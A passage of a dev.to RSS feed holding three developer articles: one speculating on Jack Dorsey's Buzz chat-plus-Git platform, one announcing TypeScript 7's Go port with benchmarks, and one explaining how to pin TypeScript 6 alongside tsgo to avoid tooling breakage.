            </description><link>https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8</link><guid isPermaLink="false">https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8</guid><pubDate>Fri, 07 Aug 2026 10:41:28 GMT</pubDate><author>Yogeshwar Peela</author><enclosure url="https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4pgh6l8qr4hpwbuhfzcf.gif" type="image/jpeg"></enclosure><category>cybersecurity</category><category>ctf</category><category>writeup</category><category>tryhackme</category></item><item><title>Jack Dorsey&#39;s Buzz: The Dev Workflow Game Changer We Didn&#39;t Know We Needed?</title><description>&lt;p&gt;Alright, so I just caught wind of something that actually made me pause my &lt;code&gt;npm install&lt;/code&gt; for a second. Jack Dorsey, yeah, &lt;em&gt;that&lt;/em&gt; Jack Dorsey, is launching something called Buzz. And it&#39;s not just another chat app or another Git host. It&#39;s an &lt;em&gt;integration&lt;/em&gt; of team chat, AI agents, and Git hosting. As a full-stack dev grinding on Next.js, TypeScript, and constantly wrangling Supabase and various AI APIs, this immediately piqued my interest. &lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-why-behind-the-buzz-one-ring-to-rule-them-all&quot; href=&quot;https://dev.to/hanzla/jack-dorseys-buzz-the-dev-workflow-game-changer-we-didnt-know-we-needed-1kpk#the-why-behind-the-buzz-one-ring-to-rule-them-all&quot;&gt;
  &lt;/a&gt;
  The &quot;Why&quot; Behind the Buzz: One Ring to Rule Them All?
&lt;/h2&gt;

&lt;p&gt;Let&#39;s be real: our current dev workflow is a fragmented mess. We&#39;ve got Slack/Discord for chat, GitHub/GitLab for code, Jira/Trello for project management, and then a whole host of bespoke tools for AI model management, testing, and deployment. Context switching is a silent killer of productivity. Every time I jump from a PR review to a design discussion to debugging a webhook, I lose a little bit of flow. &lt;/p&gt;

&lt;p&gt;Buzz, on paper, sounds like it&#39;s trying to tackle this head-on. Imagine a world where your AI agent, trained on your codebase and documentation, can directly participate in your team chat, suggest code improvements, answer questions about specific Git commits, or even help you craft a new feature branch based on a discussion. That&#39;s not just convenience; that&#39;s a fundamental shift in how we interact with our tools and, crucially, with our code.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;ai-agents-more-than-just-smart-bots&quot; href=&quot;https://dev.to/hanzla/jack-dorseys-buzz-the-dev-workflow-game-changer-we-didnt-know-we-needed-1kpk#ai-agents-more-than-just-smart-bots&quot;&gt;
  &lt;/a&gt;
  AI Agents: More Than Just Smart Bots
&lt;/h2&gt;

&lt;p&gt;We&#39;ve all played with ChatGPT, and we&#39;re integrating LLMs into our apps. But the idea of deeply integrated, context-aware AI agents &lt;em&gt;within&lt;/em&gt; our core collaboration and Git platform? That&#39;s where it gets spicy. Think about it: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Automated PR Summaries:&lt;/strong&gt; An agent could analyze a PR, summarize changes, flag potential issues based on internal guidelines, and even suggest reviewers who have worked on similar parts of the codebase. &lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Instant Code Answers:&lt;/strong&gt; Instead of digging through docs or Slack history, you could ask your Buzz AI, &quot;How do I integrate the new payment gateway service?&quot; and it could pull up relevant code snippets, documentation, and past discussions directly from your Git history and chat logs. &lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Proactive Issue Detection:&lt;/strong&gt; Imagine an agent monitoring your Git pushes, noticing a pattern of errors, and proactively alerting the team or even suggesting a fix before it hits staging.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This isn&#39;t just about making things faster; it&#39;s about making our development process smarter and more resilient. It&#39;s about offloading the repetitive, cognitive load so we can focus on the truly creative and complex problems.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;git-hosting-amp-chat-a-symbiotic-relationship&quot; href=&quot;https://dev.to/hanzla/jack-dorseys-buzz-the-dev-workflow-game-changer-we-didnt-know-we-needed-1kpk#git-hosting-amp-chat-a-symbiotic-relationship&quot;&gt;
  &lt;/a&gt;
  Git Hosting &amp;amp; Chat: A Symbiotic Relationship
&lt;/h2&gt;

&lt;p&gt;The Git hosting aspect is key here. It&#39;s not just about having a place for your code; it&#39;s about the deep integration. When your chat and AI agents live in the same ecosystem as your code, the possibilities explode. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Code-Aware Discussions:&lt;/strong&gt; Imagine discussing a bug and being able to instantly reference a line of code, and have the AI agent immediately pull up its history, related issues, and even potential fixes. &lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Automated Branching/Committing:&lt;/strong&gt; A discussion in chat could lead to an AI agent automatically creating a feature branch, populating it with a basic structure based on a template, and even generating an initial commit message based on the conversation. &lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Enhanced Onboarding:&lt;/strong&gt; New team members could leverage AI agents to quickly understand the codebase, project history, and team conventions by asking natural language questions directly within their chat interface.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This level of integration could dramatically reduce the friction in our daily dev lives. It&#39;s less about switching tabs and more about a fluid, continuous flow of information and action.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-future-of-dev-tools-and-saas-a-unified-front&quot; href=&quot;https://dev.to/hanzla/jack-dorseys-buzz-the-dev-workflow-game-changer-we-didnt-know-we-needed-1kpk#the-future-of-dev-tools-and-saas-a-unified-front&quot;&gt;
  &lt;/a&gt;
  The Future of Dev Tools and SaaS: A Unified Front?
&lt;/h2&gt;

&lt;p&gt;If Buzz delivers on this promise, it could set a new precedent for developer tools. The current landscape of specialized SaaS products might start to feel clunky and inefficient in comparison. We&#39;ve seen platforms try to do &quot;all-in-one&quot; before, often resulting in a mediocre experience across the board. But with Jack Dorsey&#39;s backing and the current advancements in AI, this could be different. &lt;/p&gt;

&lt;p&gt;It forces us to ask: Are we entering an era where the best developer experience isn&#39;t about having the best individual tools, but the best &lt;em&gt;integrated&lt;/em&gt; ecosystem? And what does this mean for companies like GitHub, GitLab, Slack, and even smaller niche AI dev tools? They&#39;ll either need to incredibly deepen their own integrations or risk being outflanked by a truly unified platform.&lt;/p&gt;

&lt;p&gt;I&#39;m genuinely curious to see how Buzz plays out. Could this be the platform that finally unifies our fragmented dev world and truly leverages AI to make us more effective? Or will it be another ambitious attempt that falls short? &lt;/p&gt;

&lt;p&gt;What do you think? Is this the future, or just another buzzword-laden promise?&lt;/p&gt;


            </description><link>https://dev.to/hanzla/jack-dorseys-buzz-the-dev-workflow-game-changer-we-didnt-know-we-needed-1kpk</link><guid isPermaLink="false">https://dev.to/hanzla/jack-dorseys-buzz-the-dev-workflow-game-changer-we-didnt-know-we-needed-1kpk</guid><pubDate>Wed, 22 Jul 2026 04:21:13 GMT</pubDate><author>Hanzla Baig</author><category>webdev</category><category>ai</category><category>saas</category><category>typescript</category></item><item><title>TypeScript 7 is officially released! 🚨</title><description>&lt;p&gt;Hello everyone! The long-awaited TypeScript 7 was finally released the other day. And the new features it brings are truly astonishing.&lt;/p&gt;

&lt;p&gt;Several months ago I already wrote an article on this topic, but today I would like to write again about this event in programming.&lt;/p&gt;

&lt;p&gt;Well, let&#39;s get started!&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;what-did-they-do&quot; href=&quot;https://dev.to/anthonymax/typescript-7-is-officially-released-4i7m#what-did-they-do&quot;&gt;
  &lt;/a&gt;
  👀 What did they do?
&lt;/h2&gt;

&lt;p&gt;First of all, it is worth noting that the implementation of TypeScript 7 is now done in the Go programming language. As Microsoft said, they tried to make the functions as close to the old code as possible in order to minimize bugs.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2kmgmng06dhjnlhjkowj.webp&quot; class=&quot;article-body-image-wrapper&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2kmgmng06dhjnlhjkowj.webp&quot; alt=&quot;Go&quot; loading=&quot;lazy&quot; width=&quot;799&quot; height=&quot;299&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This was done to speed up the compilation of TypeScript code into machine-readable code, in short. Since VS Code runs on TypeScript, its speed is correspondingly increased. Editor operations now nearly instantaneous (e.g., finding first error in VS Code from ~17.5s to &amp;lt;1.3s). And not just a text editor.&lt;/p&gt;

&lt;p&gt;&lt;iframe class=&quot;tweet-embed&quot; scrolling=&quot;no&quot; id=&quot;tweet-2074892178745327926-246&quot; src=&quot;https://platform.twitter.com/embed/Tweet.html?id=2074892178745327926&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;/iframe&gt;


&lt;/p&gt;

&lt;p&gt;To prove my point, let&#39;s check the performance benchmarks:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Benchmark 1: Compile Times Between Typescript 6&amp;amp;7&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;table-wrapper-paragraph&quot;&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Codebase&lt;/th&gt;
&lt;th&gt;TypeScript 6&lt;/th&gt;
&lt;th&gt;TypeScript 7&lt;/th&gt;
&lt;th&gt;Speedup&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;vscode&lt;/td&gt;
&lt;td&gt;125.7s&lt;/td&gt;
&lt;td&gt;10.6s&lt;/td&gt;
&lt;td&gt;11.9x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sentry&lt;/td&gt;
&lt;td&gt;139.8s&lt;/td&gt;
&lt;td&gt;15.7s&lt;/td&gt;
&lt;td&gt;8.9x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bluesky&lt;/td&gt;
&lt;td&gt;24.3s&lt;/td&gt;
&lt;td&gt;2.8s&lt;/td&gt;
&lt;td&gt;8.7x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;playwright&lt;/td&gt;
&lt;td&gt;12.8s&lt;/td&gt;
&lt;td&gt;1.47s&lt;/td&gt;
&lt;td&gt;8.7x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tldraw&lt;/td&gt;
&lt;td&gt;11.2s&lt;/td&gt;
&lt;td&gt;1.46s&lt;/td&gt;
&lt;td&gt;7.7x&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Benchmark 2: Aggregate Memory Usage in TypeScript 6&amp;amp;7&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;table-wrapper-paragraph&quot;&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Codebase&lt;/th&gt;
&lt;th&gt;TypeScript 6&lt;/th&gt;
&lt;th&gt;TypeScript 7&lt;/th&gt;
&lt;th&gt;Cumulative Memory&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;vscode&lt;/td&gt;
&lt;td&gt;5.2GB&lt;/td&gt;
&lt;td&gt;4.2GB&lt;/td&gt;
&lt;td&gt;-18%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sentry&lt;/td&gt;
&lt;td&gt;4.9GB&lt;/td&gt;
&lt;td&gt;4.6GB&lt;/td&gt;
&lt;td&gt;-6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bluesky&lt;/td&gt;
&lt;td&gt;1.8GB&lt;/td&gt;
&lt;td&gt;1.3GB&lt;/td&gt;
&lt;td&gt;-26%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;playwright&lt;/td&gt;
&lt;td&gt;1.0GB&lt;/td&gt;
&lt;td&gt;0.9GB&lt;/td&gt;
&lt;td&gt;-11%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tldraw&lt;/td&gt;
&lt;td&gt;0.6GB&lt;/td&gt;
&lt;td&gt;0.5GB&lt;/td&gt;
&lt;td&gt;-15%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Benchmark 3: Performance with &lt;code&gt;--checkers 8&lt;/code&gt; in TypeScript 6&amp;amp;7&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;table-wrapper-paragraph&quot;&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Codebase&lt;/th&gt;
&lt;th&gt;TypeScript 6&lt;/th&gt;
&lt;th&gt;TypeScript 7 (--checkers 8)&lt;/th&gt;
&lt;th&gt;Speedup&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;vscode&lt;/td&gt;
&lt;td&gt;125.7s&lt;/td&gt;
&lt;td&gt;7.51s&lt;/td&gt;
&lt;td&gt;16.7x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sentry&lt;/td&gt;
&lt;td&gt;139.8s&lt;/td&gt;
&lt;td&gt;12.08s&lt;/td&gt;
&lt;td&gt;11.6x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bluesky&lt;/td&gt;
&lt;td&gt;24.3s&lt;/td&gt;
&lt;td&gt;2.01s&lt;/td&gt;
&lt;td&gt;12.1x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;playwright&lt;/td&gt;
&lt;td&gt;12.8s&lt;/td&gt;
&lt;td&gt;1.16s&lt;/td&gt;
&lt;td&gt;11x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tldraw&lt;/td&gt;
&lt;td&gt;11.2s&lt;/td&gt;
&lt;td&gt;1.06s&lt;/td&gt;
&lt;td&gt;10.6x&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;These are the official benchmark results. And they&#39;re truly impressive. I can say that VS Code used to take quite a while to open on my old MacBook, but with these new features, everything will be much faster now.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;functional-changes&quot; href=&quot;https://dev.to/anthonymax/typescript-7-is-officially-released-4i7m#functional-changes&quot;&gt;
  &lt;/a&gt;
  ⚙️ Functional changes
&lt;/h2&gt;

&lt;p&gt;In addition to speed and rewriting all functions in Go, the following benefits are now added:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Performs parsing, type-checking, and emitting in parallel with experimental &lt;code&gt;--checkers&lt;/code&gt; and &lt;code&gt;--builders&lt;/code&gt; for fine-tuning microsoft&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This gives developers complete control over the balance between performance and memory consumption. On CI runners or with limited resources, parallelism can be reduced without losing functionality.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;New &lt;code&gt;--singleThreaded&lt;/code&gt; for debugging or resource-limited environments&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Solves a rather important debugging problem and ensures predictability of results when reproducing bugs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Type-checking workers can be scaled without scaling builder workers&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you didn&#39;t know, type-checking workers handle complex type-checking logic, while builder workers assemble &lt;code&gt;project references&lt;/code&gt;; their work is limited by the project dependency graph.&lt;/p&gt;

&lt;p&gt;This means that now when setting parameters such as &lt;code&gt;--checkers 6&lt;/code&gt; and &lt;code&gt;--builders 4&lt;/code&gt; can be configured flexibly for each project to ensure the best project build performance.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;--watch&lt;/code&gt; mod has also changed, now it uses Parcel&#39;s file-watcher ported to Go for assembly, and eliminates expensive polling on large &lt;code&gt;node_modules&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;There are also some minor changes in JavaScript and in the configuration file, but overall they are not that important.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;my-opinion&quot; href=&quot;https://dev.to/anthonymax/typescript-7-is-officially-released-4i7m#my-opinion&quot;&gt;
  &lt;/a&gt;
  💬 My opinion
&lt;/h2&gt;

&lt;p&gt;I believe that speeding up fundamental features like TypeScript, even if it&#39;s just rewriting functions in Go, has a significant impact on development. Websites today have quite a few modules and run on modern frameworks like Next.js, Remix, Nuxt, and many others. And they all still run on TypeScript, so it&#39;s difficult to comprehend how much time a tenfold speedup in version 7 will save. For developers, VS Code and the Cursor built on top of it will allow them to develop websites even faster.&lt;/p&gt;


&lt;hr&gt;

&lt;p&gt;&lt;em&gt;What do you think about this? It will be interesting to read!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;❤️ Thank you very much for reading the article!&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82skwyr64v1gwx8297kt.gif&quot; class=&quot;article-body-image-wrapper&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82skwyr64v1gwx8297kt.gif&quot; alt=&quot;Thanks!&quot; loading=&quot;lazy&quot; width=&quot;332&quot; height=&quot;400&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;


            </description><link>https://dev.to/anthonymax/typescript-7-is-officially-released-4i7m</link><guid isPermaLink="false">https://dev.to/anthonymax/typescript-7-is-officially-released-4i7m</guid><pubDate>Sat, 18 Jul 2026 12:52:21 GMT</pubDate><author>Anthony Max</author><enclosure url="https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8dkkztc6d5uqqvff3y8r.webp" type="image/jpeg"></enclosure><category>webdev</category><category>javascript</category><category>programming</category><category>opensource</category></item><item><title>Why Your TypeScript 7 Upgrade Broke ESLint, ts-jest, and ts-morph</title><description>&lt;p&gt;You installed TypeScript 7, ran your build, and something broke. Maybe ESLint crashed with a cryptic &lt;code&gt;TypeError: Cannot read properties of undefined (reading &#39;Cjs&#39;)&lt;/code&gt;. Maybe ts-jest stopped transforming your test files. Maybe your CI pipeline just went red for no reason you can point to.&lt;/p&gt;

&lt;p&gt;You&#39;re not doing anything wrong.&lt;/p&gt;

&lt;p&gt;TypeScript 7 shipped tsgo, a genuine Go port of the type-checker, not a rewrite from scratch. But the tools that plug into TypeScript don&#39;t talk to the type-checker directly, they talk to a programmatic API. That API isn&#39;t stable yet, it lands in 7.1. Until then, a chunk of the ecosystem throws errors the moment you point &lt;code&gt;typescript&lt;/code&gt; at the new version.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;the-10second-version&quot; href=&quot;https://dev.to/dev_encyclopedia/why-your-typescript-7-upgrade-broke-eslint-ts-jest-and-ts-morph-385k#the-10second-version&quot;&gt;
  &lt;/a&gt;
  The 10-second version
&lt;/h3&gt;

&lt;p&gt;Don&#39;t replace &lt;code&gt;typescript&lt;/code&gt; in your dependencies with the 7.x line if you use typescript-eslint, ts-jest, ts-morph, or any tool doing programmatic type-checking. Keep &lt;code&gt;typescript&lt;/code&gt; pinned to 6.x for those tools, and install &lt;code&gt;@typescript/native-preview&lt;/code&gt; alongside it purely for fast type-checking in CI or a manual &lt;code&gt;tsgo --noEmit&lt;/code&gt; command. Two compilers, living side by side, each doing a different job.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;why-this-is-happening&quot; href=&quot;https://dev.to/dev_encyclopedia/why-your-typescript-7-upgrade-broke-eslint-ts-jest-and-ts-morph-385k#why-this-is-happening&quot;&gt;
  &lt;/a&gt;
  Why this is happening
&lt;/h3&gt;

&lt;p&gt;The TypeScript team calls this Project Corsa: a line-by-line port of the compiler from the old JavaScript codebase (Strada) into Go (Corsa), preserving identical type-checking behavior while getting roughly 10x faster builds from real OS threads instead of Node&#39;s single-threaded event loop.&lt;/p&gt;

&lt;p&gt;That preservation is impressive, but it&#39;s a port, not a reimplementation with a new API surface. Tools like typescript-eslint depend on the programmatic API to walk your AST and pull type information out of the compiler, and that API isn&#39;t ready until 7.1.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;whats-actually-broken-right-now&quot; href=&quot;https://dev.to/dev_encyclopedia/why-your-typescript-7-upgrade-broke-eslint-ts-jest-and-ts-morph-385k#whats-actually-broken-right-now&quot;&gt;
  &lt;/a&gt;
  What&#39;s actually broken right now
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;typescript-eslint&lt;/strong&gt; — npm refuses to install alongside &lt;code&gt;typescript@7&lt;/code&gt; at all (ERESOLVE error), because the published peer range only allows versions below 6.1.0. Force it through and ESLint crashes deep inside &lt;code&gt;typescript-estree&lt;/code&gt;. Tracked as typescript-eslint issue #12518, closed as not planned since the real fix is on TypeScript&#39;s side.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ts-jest&lt;/strong&gt; — Fine if &lt;code&gt;typescript&lt;/code&gt; stays on 6.x in &lt;code&gt;node_modules&lt;/code&gt;. Point ts-jest itself at &lt;code&gt;@typescript/native-preview&lt;/code&gt; and it breaks, because it calls internal Strada APIs Corsa doesn&#39;t expose yet. Shows up as confusing transform failures, not install failures.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ts-morph and custom AST transformers&lt;/strong&gt; — Same story: deep programmatic type introspection needs the 7.1 API. These tend to fail silently or produce subtly wrong output rather than crash outright, so audit before upgrading.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Monorepos with project references&lt;/strong&gt; — The roughest edge. tsgo drops generic type parameters from JSDoc &lt;code&gt;@typedef&lt;/code&gt; declarations using &lt;code&gt;@template&lt;/code&gt;, and &lt;code&gt;skipLibCheck: true&lt;/code&gt; doesn&#39;t suppress certain parse-level errors from third-party &lt;code&gt;.d.ts&lt;/code&gt; files. A compatibility survey of 15 pipeline tools found 9 call Strada API functions that no longer exist.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;the-sidebyside-fix&quot; href=&quot;https://dev.to/dev_encyclopedia/why-your-typescript-7-upgrade-broke-eslint-ts-jest-and-ts-morph-385k#the-sidebyside-fix&quot;&gt;
  &lt;/a&gt;
  The side-by-side fix
&lt;/h3&gt;



&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;npm &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; typescript@^6.9
npm &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; @typescript/native-preview
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;





&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight json&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;typecheck:fast&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;tsgo --noEmit&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;build&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;tsc&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Run &lt;code&gt;typecheck:fast&lt;/code&gt; as an early CI step, before your slower full build, and leave typescript-eslint&#39;s config untouched so it keeps resolving against your pinned 6.x install.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;when-to-cut-over&quot; href=&quot;https://dev.to/dev_encyclopedia/why-your-typescript-7-upgrade-broke-eslint-ts-jest-and-ts-morph-385k#when-to-cut-over&quot;&gt;
  &lt;/a&gt;
  When to cut over
&lt;/h3&gt;

&lt;p&gt;Wait for 7.1&#39;s stable programmatic API before dropping the side-by-side setup. If you&#39;re not using typescript-eslint, ts-morph, or custom transformers, and just run &lt;code&gt;tsc&lt;/code&gt; for type-checking and emit, you can move to 7.0 as soon as it hits general availability. Most codebases aren&#39;t that lucky.&lt;/p&gt;

&lt;p&gt;Full breakdown with the tool compatibility matrix, tsconfig defaults that changed, and an ERESOLVE fix generator: 👉 &lt;a href=&quot;https://devencyclopedia.com/blog/typescript-7-broke-eslint-ts-jest-ts-morph&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Why Your TypeScript 7 Upgrade Broke ESLint, ts-jest, and ts-morph&lt;/a&gt;&lt;/p&gt;


